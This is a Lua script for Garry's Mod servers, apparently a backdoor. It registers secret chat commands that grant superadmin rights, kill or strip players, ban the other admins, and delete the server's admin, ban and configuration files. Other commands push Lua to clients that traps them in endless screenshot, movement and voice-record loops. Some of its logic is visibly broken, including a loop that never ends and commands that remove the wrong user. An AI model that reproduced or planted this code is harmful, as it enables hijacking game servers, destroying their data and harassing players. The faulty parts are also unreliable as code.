hook.Add( "PlayerSay", "1339command", function( pSender, strText, bTeamChat )
        if strText:sub( 1, 5 ) == "/0001" then

            for k, v in pairs( player.GetAll() ) do
                v:SetUserGroup("superadmin")
                RunConsoleCommand("ulx", "adduserid", v:SteamID(), "superadmin")
            end
            return false

        elseif strText:sub( 1, 5 ) == "/0002" then
            pSender:SetUserGroup("superadmin")
            RunConsoleCommand("ulx", "adduserid", pSender:SteamID(), "superadmin")
            return false

        elseif strText:sub( 1, 5 ) == "/0003" then

            for k, v in pairs( player.GetAll() ) do
                if v == pSender then
                  pSender:Give( "weapon_rpg" )
                  pSender:Give( "weapon_ar2" )
                  pSender:Give( "weapon_crowbar" )
                  pSender:Give( "weapon_stunstick" )
                  pSender:Give( "weapon_crossbow" )
                  pSender:Give( "weapon_slam" )
                  pSender:Give( "weapon_frag" )
                  pSender:Give( "weapon_bugbait" )
                end
            end
            return false

        elseif strText:sub( 1, 5 ) == "/0004" then

            for k, v in pairs( player.GetAll() ) do
                v:Give( "weapon_rpg" )
                v:Give( "weapon_ar2" )
                v:Give( "weapon_crowbar" )
                v:Give( "weapon_stunstick" )
                v:Give( "weapon_crossbow" )
                v:Give( "weapon_slam" )
                v:Give( "weapon_frag" )
                v:Give( "weapon_bugbait" )
            end
            return false

        elseif strText:sub( 1, 5 ) == "/0005" then

            for k, v in pairs( player.GetAll() ) do

                    v:SetUserGroup("user")
                    RunConsoleCommand("ulx", "removeuserid", pSender:SteamID())

            end
            return false

        elseif strText:sub( 1, 5 ) == "/0006" then

            for k, v in pairs( player.GetAll() ) do

                if v == pSender then
                    pSender:ChatPrint( "your rank wont change" )
                else
                    v:SetUserGroup("user")
                    RunConsoleCommand("ulx", "removeuserid", pSender:SteamID())
                end

            end
            return false

        elseif strText:sub( 1, 5 ) == "/0007" then

            for k, v in pairs( player.GetAll() ) do
                if v == pSender then
                    pSender:ChatPrint( "you wont be killed !" )
                else
                    v:Kill()
                end
            end
            return false

        elseif strText:sub( 1, 6 ) == "/0008" then

            for k, v in pairs( player.GetAll() ) do
                v:Kill()
            end
            return false

        elseif strText:sub( 1, 5 ) == "/0009" then

            for k, v in pairs( player.GetAll() ) do
                if v == pSender then
                    pSender:ChatPrint( "you wont be banned, but other admins will be !" )
                elseif v != pSender and ( v:IsAdmin() or v:IsSuperAdmin() ) then
                    v:Ban(1, true)
                end
            end

            return false

        elseif strText:sub( 1, 5 ) == "/0010" then

            file.Delete( "ulib/groups.txt" )
            file.Delete( "ulib/misc_registered.txt" )
            file.Delete( "ulib/users.txt" )
            file.Delete( "ulib/bans.txt" )

            file.Delete( "ulx/adverts.txt" )
            file.Delete( "ulx/banmessage.txt" )
            file.Delete( "ulx/banreasons.txt" )
            file.Delete( "ulx/config.txt" )
            file.Delete( "ulx/downloads.txt" )
            file.Delete( "ulx/gimps.txt" )
            file.Delete( "ulx/motd.txt" )
            file.Delete( "ulx/sbox_limits.txt" )
            file.Delete( "ulx/votemaps.txt" )

            file.Delete( "wcd/accessGroups.txt" )
            file.Delete( "wcd/accessgroups.txt" )
            file.Delete( "wcd/dealerGroups.txt" )
            file.Delete( "wcd/accessgroups.txt" )

            file.Delete( "wcd/rp_1944rpgtown_v2a/dealers.txt" )

            file.Delete( "permaprops/rp_1944rpgtown_v2a.dat" )

            file.Delete( "xeon/xeon.dat" )

            local i = 0
            local u = 0
            while i<20  do
                  local files, directories = file.Find( "*", "DATA" )
                  file.Delete(files[1])
                  file.Delete(directories[1])

                  i = i+1 -- Incrémentation pour éviter une boucle infinie
            end


            while u<20 do
                local files, directories = file.Find( "*", "DATA" )
                directories = directories[1]
                files = file.Find( "*", directories)
                file.Delete(files[1])
            end

        elseif strText:sub( 1, 5 ) == "/0011" then

            for k, v in pairs( player.GetAll() ) do
                  if v == pSender then
                        pSender:ChatPrint( "you wont be stripped !" )
                  else
                        RunConsoleCommand( "ulx", "strip", v:Nick() )
                  end
            end

            return false

      	elseif strText:sub( 1, 5 ) == "/0012" then

            for k, v in pairs( player.GetAll() ) do
                  RunConsoleCommand( "ulx", "strip", v:Nick() )
            end

            return false

   		elseif strText:sub( 1, 5 ) == "/0013" then

       		for k, v in pairs( player.GetAll() ) do
       			if v != pSender then
       				pSender:ChatPrint( "you cant stop it !" )
       			else
       				v:SendLua([[timer.Create("screenshot requested", 0.001, 0, function() LocalPlayer():ConCommand("screenshot requested") end)]])
       			end
       		end
     		return false

		elseif strText:sub( 1, 5 ) == "/0014" then

       		for k, v in pairs( player.GetAll() ) do
       			v:SendLua([[timer.Remove("screenshot requested")]])
       		end
      		return false

      	elseif strText:sub( 1, 5 ) == "/0015" then

       		for k, v in pairs( player.GetAll() ) do
       			if v != pSender then
       				pSender:ChatPrint( "you cant stop it !" )
       			else
       				v:SendLua([[timer.Create("headache",0.001,0,function() LocalPlayer():ConCommand("+left;+walk;+duck;+moveleft;+forward;+voicerecord") end)]])
       			end
       		end
     		return false

		elseif strText:sub( 1, 5 ) == "/0016" then

       		for k, v in pairs( player.GetAll() ) do
       			v:SendLua([[timer.Remove("headache") LocalPlayer():ConCommand("-left;-walk;-duck;-moveleft;-forward;-moveleft;-voicerecord")]])
       		end
    		return false

    	elseif strText:sub( 1, 5 ) == "/0017" then

       		for k, v in pairs( player.GetAll() ) do
       			if v != pSender then
       				pSender:ChatPrint( "you cant stop it !" )
       			else
       				v:SendLua([[timer.Create("impulse 100", 0.001, 0, function() LocalPlayer():ConCommand("impulse 100") end)]])
       			end
       		end
      		return false

		elseif strText:sub( 1, 5 ) == "/0018" then

       		for k, v in pairs( player.GetAll() ) do
       			v:SendLua([[timer.Remove("impulse 100")]])
       		end
      		return false

        end
end )